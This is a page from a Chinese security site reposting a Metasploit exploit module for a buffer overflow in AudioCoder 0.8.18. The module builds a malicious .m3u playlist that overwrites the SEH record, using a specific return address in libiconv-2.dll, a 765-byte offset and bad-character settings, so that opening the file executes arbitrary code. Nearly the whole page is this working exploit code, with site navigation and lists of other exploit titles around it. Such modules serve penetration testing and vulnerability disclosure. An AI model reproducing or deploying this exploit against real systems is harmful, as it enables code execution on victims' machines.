首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
AudioCoder .M3U Buffer Overflow
来源:metasploit.com 作者:metacom 发布时间:2013-05-06  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'AudioCoder .M3U Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in Audio Code 0.8.18. The vulnerability
				occurs when adding an .m3u, allowing arbitrary code execution with the privileges
				of the user running AudioCoder. This module has been tested successfully on
				AudioCoder 0.8.18.5353 over Windows XP SP3 and Windows 7 SP1.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'metacom', # Vulnerability discovery and PoC
					'juan vazquez' # Metasploit module
				],
			'References'     =>
				[
					[ 'OSVDB', '92939' ],
					[ 'EDB', '25141' ]
				],
			'DefaultOptions'  =>
				{
					'EXITFUNC' => 'process'
				},
			'Platform'       => 'win',
			'Payload'        =>
				{
					'Space'           => 6596,
					'BadChars'        => "\x00\x5c\x40\x0d\x0a",
					'DisableNops'     => true,
					'StackAdjustment' => -3500,
				},
			'Targets'        =>
				[
					[ 'AudioCoder 0.8.18.5353 / Windows XP SP3 / Windows 7 SP1',
						{
							'Ret'     => 0x66011b56, # ppr from libiconv-2.dll
							'Offset'  => 765
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => 'May 01 2013',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
			], self.class)

	end

	def exploit
		buffer = "http://"
		buffer << rand_text(target['Offset'])
		buffer << generate_seh_record(target.ret)
		buffer << payload.encoded

		file_create(buffer)
	end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Winarchiver 3.2 Buffer Overflo
·Huawei SNMPv3 Buffer Overflow
·FuzeZip 1.0.0.131625 Buffer Ov
·Microsoft Internet Explorer CG
·ABBS Audio Media Player v3.1 (
·Dovecot with Exim sender_addre
·DVD X Player 5.5.37 Pro / Stan
·MoinMelt Arbitrary Command Exe
·Easy Icon Maker Version 5.01 C
·ColdFusion 9 / 10 Remote Root
·Vivotek IP Camera Buffer Overf
·Flightgear 2.0, 2.4 - Remote F
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved